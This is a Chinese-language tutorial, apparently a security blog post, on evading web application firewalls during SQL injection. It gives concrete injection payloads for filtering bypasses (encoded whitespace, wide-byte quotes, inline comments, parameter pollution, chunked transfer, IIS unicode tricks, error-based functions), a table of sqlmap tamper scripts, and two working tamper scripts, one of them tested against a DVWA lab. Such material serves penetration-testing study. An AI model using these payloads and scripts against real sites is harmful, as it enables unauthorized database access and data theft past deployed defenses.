参考业内大佬的经验汇总此文,绕过方法比较古老,仅供学习和研究。

1 SQL注入绕过

SQL注入遇到WAF时如何绕过?

常见的绕过思路:

1.1 绕过空格过滤

  • 采用url编码代替空格:
%20 %09 %0a %0b %0c %0d %a0 %00
  • 注释符和内联注释:/**/,/!/
  • ()+代替空格
  • --%0a代替空格

  • emoji方式去代替空格

1.2 绕过单引号过滤

  • 使用\转义,如1\'aaaa'union+select+user(),2%23
  • 如果通过转义方式过滤,可以采用宽字节注入,如:1%df ' union select 1,2%23

1.3 绕过逗号过滤

  • 使用from toselect substr(database()1,1);等价于select substr(database() from 1 for 1);
  • 使用joinunion select 1,2等价于union select * from (select 1) join (select 2)
  • 使用likeselect ascii(mid(user(),1,1))=80等价于select user() like 'r%'
  • 使用offsetselect from news limit 0,1等价于句 select from news limit 1 offset 0

1.4 绕过<、>过滤

  • 使用greatest()、least(),前者返回最大值,后者返回最小值
  • 使用strcmp(str1,str2),当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1
  • 使用in操作符
  • 使用between and,选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期

or、and、xor、not过滤绕过

  • and等价于&&or等价于||xor等价于|not等价于!

1.5 绕过注释符

  • 单引号闭合,使用''代替#

1.6 绕过等号过滤

  • 使用likerlikeregexp 或者使用< 或者 >

1.7 绕过union,select,where等关键字过滤

  • 使用注释符分割关键字://,-- , /**/, #, --+, -- -, ;,%00,--a,如:sel<>ect,sel/**/ect
  • 使用大小写绕过(基本没用),如id=-1'UnIoN/**/SeLeCT
  • 内联注释绕过,如id=-1'/!UnIoN/ SeLeCT 1,2,concat(/!table_name/) FrOM /information_schema/.tables /!WHERE //!TaBlE_ScHeMa/ like database()#
  • 双关键字绕过(基本没用),如id=-1'UNIunionONSeLselectECT1,2,3–-
  • Base64编码,php的base64 解码的时候会忽略特殊字符

  • concat被过滤可以使用concat_w代替

1.8 利用参数污染

  • 使用大量相同参数,如?id=1&id=2&id=3...

1.9 利用脏数据

  • 使用超长无用参数名,如大量数据&searchText='or updatexml(1,concat(0x1,user()),1) and '1'='1

1.10 利用分块传输

  • 手工构造分块传输或利用Burp插件构造,原SQL语句1'union+select+user(),2'经过分块传输后:

1.11 利用畸形HTTP方法

  • 将GET、POST请求替换成任意HTTP方法

1.12 利用中间件特性

  • 绕过空格:--随机字符%0a AND--随机字符%0a1=1
  • asp+iis 的环境下,unicode解析多对一,如select 中的 e对应的 unicode 为%u0065,但是%u00f0同样会被转换成为e
o --> %u004f --> %u006f --> %u00ba
e --> %u0045 --> %u0065 --> %u00f0

1.13 利用报错注入

  • 使用floor,Polygon,GeometryCollection,MultiPoint,MultiLineString,linestring,multipolygon

GeometryCollection((select*from(select*from(select@@version)f)x));
polygon((select*from(select name const(version(),1))x));

2 tamper插件编写

插件通常用来绕过WAF

2.1 常用sqlmap内置tamper

|-|-|
|tamper名称|说明|
|apostrophemask|用utf8代替引号|
|apostrophenullencode|用非法双字节unicode字符替换单引号字符|
|dunion|将空格UNION替换为DUNION|
|misunion|替换空格UNION为-.1UNION|
|0eunion|将空格UNION替换为e0UNION|
|unionalltounion|用UNION SELECT替换UNION ALL SELECT|
|equaltolike|like 代替等号|
|equaltorlike|用'RLIKE'操作符替换所有的('=')|
|space2dash|绕过过滤空格,将'1 AND 9227=9227' 替换为'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'|
|greatest|绕过过滤> ,用GREATEST替换大于号|
|least|将大于运算符替换为LEAST函数|
|space2hash|绕过过滤空格,使用%23PTTmJopxdWJ%0A绕过空格过滤|
|plus2concat|用CONCAT() 函数替换加号|
|plus2fnconcat|用ODBC函数{fn CONCAT()}替换加号|
|base64encode|对payload进行Base64编码|
|chardoubleencode|对给定的payload全部字符进行两次URL编码(不处理已经编码的字符)|
|charencode|对给定的payload全部字符使用URL编码(不处理已经编码的字符)|
|charunicodeencode|对给定的payload中没有编码字符使用Unicode URL编码(不处理已经编码的字符)|
|decentities|用十进制(使用码位)编码所有字符|
|hexentities|用十六进制(使用编码点)编码所有字符|
|overlongutf8more|将给定的payload中的所有字符转换为超长 UTF8(不处理已编码的 UTF8)|
|commentbeforeparentheses|在括号前加内联注释|
|halfversionedmorekeywords|在每个关键字之前添加MySQL注释|
|informationschemacomment|在所有出现在"information_schema"黑名单中的标识符的末尾添加注释|
|modsecurityversioned|用版本注释将每个完整查询包起来,用来绕过老版本ModSecurity|
|modsecurityzeroversioned|用零版本注释包围完整的查询|
|randomcomments|向SQL关键字中插入随机注释|
|escapequotes|在单引号、双引号前面添加反斜线|
|percentage|在每个字符之前添加一个百分号|
|luanginx|绕过LUA-Nginx WAFs,比如Cloudflare|
|varnish|添加一个HTTP头"X-originating-IP"来绕过WAF|
|xforwardedfor|添加一个伪造的HTTP头'X-Forwarded-For'来绕过WAF|

更多请查阅:

https://mp.weixin.qq.com/s/PQnVTOVCttuB_QF-77UNuA

2.2 tamper脚本结构

#!/usr/bin/env python

# 导入SQLMap中lib\core\enums中的PRIORITY优先级函数
from lib.core.enums import PRIORITY

# 定义脚本优先级
__priority__ = PRIORITY.LOWEST

# 对当前脚本的介绍
def dependencies():
    pass

'''
tamper实现函数
对传进来的payload参数和kwargs参数进行修改并返回
'''
def tamper(payload, **kwargs):
    payload = payload.replace('\'', "%EF%BC%87") if payload else payload

    return payload

修改DVWA SQL注入源码,增加过滤:

使用sqlmap仅检测到一种注入:

编写tamper测试:

#!/usr/bin/env python

from lib.core.enums import PRIORITY
from lib.core.common import randomStr

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload = payload.replace("OR", "oorr").replace("AND", "aandnd").replace("UNION", "ununionion").replace("SELECT", "seleselectct").replace("PROCEDURE", "PROCEPROCEDUREURE").replace("SLEEP", "slesleepep").replace("GROUP", "grogroupup").replace("EXTRACTVALUE", "extractvextractvaluealue").replace("UPDATEXML", "updatupdatexmlexml")

    return payload

再次检测可以发现多种注入: